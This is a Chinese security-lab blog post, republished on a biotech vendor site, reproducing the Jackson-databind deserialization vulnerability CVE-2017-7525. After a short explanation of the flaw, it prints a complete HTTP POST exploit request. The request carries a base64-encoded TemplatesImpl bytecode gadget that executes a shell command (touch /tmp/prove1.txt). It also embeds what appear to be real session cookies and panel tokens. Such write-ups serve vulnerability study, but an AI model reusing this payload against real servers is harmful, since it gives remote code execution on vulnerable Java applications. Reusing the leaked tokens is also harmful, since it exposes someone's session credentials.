4000-520-616
欢迎来到免疫在线!(蚂蚁淘生物旗下平台)  请登录 |  免费注册 |  询价篮
主营:原厂直采,平行进口,授权代理(蚂蚁淘为您服务)
咨询热线电话
4000-520-616
当前位置: 首页 > 新闻动态 >
新闻详情
Jackson 反序列化远程代码执行漏洞复现_Ms08067安全实验室-CSDN博客
来自 : CSDN技术社区 发布时间:2021-03-24
\"\" 线下安全思享会-云时代下SOC的变革与演进 SOC经历了哪些技术和体系建设迭代?SOC如何通过与AI、机器学习、大数据、云计算等新兴技术的融合,让云时代下网络安全焕发新生?3月27日相约北京,让我们一同探索不一样的SOC世界!

本文作者 light Ms08067实验室 SRSP TEAM小组成员


jackson介绍

Jackson是一个能够将java对象序列化为JSON字符串 也能够将JSON字符串反序列化为java对象的框架。是基于Java平台的一套数据处理工具 被称为”最好的Java Json解析器”。它可以使我们高效、简便的处理json字符串。

序列化

序列化函数为databind.ObjectMapper。

当Jackson开启某些配置时 会允许开发者在反序列化时指定要还原的类 过程中调用其构造方法setter方法或某些特殊的getter方法 当这些方法中存在一些危险操作时就造成了代码执行。

Jackson核心模块组成

jackson-core核心包用于提供基于 流模式 解析的相关API 它包括 JsonPaser和JsonGenerator。Jackson内部实现正是通过高性能的流模式 API的JsonGenerator和JsonParser来生成和解析json。

jackson-annotations 注解包 提供标准注解功能

jackson-databind 数据绑定包 提供基于 对象绑定 解析的相关 API ObjectMapper 和 树模型 解析的相关API JsonNode 基于 对象绑定 解析的API和 树模型 解析的API依赖基于 流模式 解析的API。

无回显区分 Fastjson 和 Jackson

Fastjson要求不是很严格 所以当添加key时时不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显。

CVE-2017-7525

Jackson-databind在设置 Target class 成员变量参数值时 若没有对应的 getter 方法 则会使用 SetterlessProperty 调用 getter 方法 获取变量 然后设置变量值。当调用 getOutputProperties() 方法时 会初始化transletBytecodes 包含字节码的类 导致命令执行。使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为Gadget 发送如下请求 将会执行touch/tmp/prove1.txt

数据包

POST /exploit HTTP/1.1Host: your-ip:8080Cache-Control: max-age 0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko)Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q 0.9Cookie: wp-settings-time-1 1585830900;pro_end order id%20desc; ltd_end memSize 3789; sites_path /www/wwwroot;backup_path /www/backup; uploadSize 1073741824; rank Path /www/wwwroot;serverType apache; force PHPSESSID tip00ut1ikrhbti18c0lh88ge2;security impossible;BT_PANEL_6 0984f72c-0cb3-43fc-b57c-f0520915f47e.JtL1_XK2M1R1GRJwE0njVzssKhs;request_token KI57WHwixJfkegrcqLrE7DCexa8zjG7UYk4h7v6SwBBQ2KX0; pnull p5 load_page null; softType load_type load_search undefinedConnection: closeContent-Type: application/jsonContent-Length: 1298 { param : [ com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl , { transletBytecodes : [ yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw ], transletName : a.b , outputProperties : {} } ]}

由于此漏洞为JDK7u21及以下版本环境中存在 故升级jdk版本及可防御。

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群 内部微信群永久有效

  

目前25000 人已关注加入我们


\"\" \"\" \"\" 点赞 \"\" \"\" 评论

本文链接: http://jacksonisac.immuno-online.com/view-702566.html

发布于 : 2021-03-24 阅读(0)
公司介绍
品牌分类
制药的
联络我们
服务热线:4000-520-616
(限工作日9:00-18:00)
QQ :1570468124
手机:18915418616
官网:http://